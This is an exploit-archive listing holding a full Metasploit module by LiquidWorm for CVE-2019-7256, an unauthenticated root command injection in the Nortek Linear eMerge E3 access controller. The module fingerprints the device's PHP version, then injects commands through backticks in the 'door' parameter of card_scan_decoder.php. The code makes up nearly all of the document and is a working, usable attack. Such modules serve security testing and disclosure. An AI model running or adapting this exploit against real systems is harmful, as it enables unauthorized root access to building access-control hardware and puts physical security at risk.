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Linear eMerge E3 Access Controller Command Injection

Linear eMerge E3 Access Controller Command Injection
Posted Nov 12, 2019
Authored by LiquidWorm | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in the Linear eMerge E3 Access Controller.

tags | exploit
advisories | CVE-2019-7256
SHA-256 | 5b73f12cfb4a017aea5a1feb55cc647357e0dda86acd65b321c90401fe9aac24

Linear eMerge E3 Access Controller Command Injection

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#
# Nortek Linear eMerge E3 Unauthenticated Remote Root Code Execution (Metasploit)
# by Gjoko 'LiquidWorm' Krstic
# Affected version: <=1.00-06
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Tested on: GNU/Linux 3.14.54 (ARMv7 rev 10), Lighttpd 1.4.40, PHP/5.6.23
#

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Linear eMerge E3 Access Controller Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in the Linear eMerge
E3 Access Controller. The issue is triggered by an unsanitized exec() PHP
function allowing arbitrary command execution with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gjoko Krstic <gjoko@applied-risk.com> ' # Discovery, Exploit, MSF Module
],
'References' =>
[
[ 'URL', 'https://applied-risk.com/labs/advisories' ],
[ 'URL', 'https://www.nortekcontrol.com' ],
[ 'CVE', '2019-7256']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
'Targets' => [ ['Linear eMerge E3', { }], ],
'DisclosureDate' => "Oct 29 2019",
'DefaultTarget' => 0
)
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s, "card_scan_decoder.php"),
'vars_get' =>
{
'No' => '251',
'door' => '1337'
}
})
if res.code == 200 and res.to_s =~ /PHP\/5.6.23/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end

def http_send_command(cmd)
uri = normalize_uri(target_uri.path.to_s, "card_scan_decoder.php")
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'vars_get' =>
{
'No' => '251',
'door' => "`"+cmd+"`"
}
})
unless res
fail_with(Failure::Unknown, 'Exploit failed!')
end
res
end

def exploit
http_send_command(payload.encoded)
print_status("Sending #{payload.encoded.length} byte payload...")
end
end
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